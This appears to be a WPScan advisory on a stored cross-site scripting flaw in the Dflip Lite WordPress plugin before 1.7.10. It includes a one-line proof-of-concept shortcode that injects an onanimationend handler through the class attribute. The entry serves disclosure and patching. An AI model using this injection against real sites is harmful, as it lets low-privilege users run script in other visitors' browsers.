WordPress Plugin Vulnerabilities
Dflip Lite < 1.7.10 - Contributor+ Stored Cross-Site Scripting
Description
The plugin does not escape the class attribute of its shortcode before outputting it back in an attribute, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks
Proof of Concept
[dflip class='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']
Affects Plugins
Fixed in 1.7.10 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-15 (about 2 years ago)
Added
2021-09-15 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
WPScan 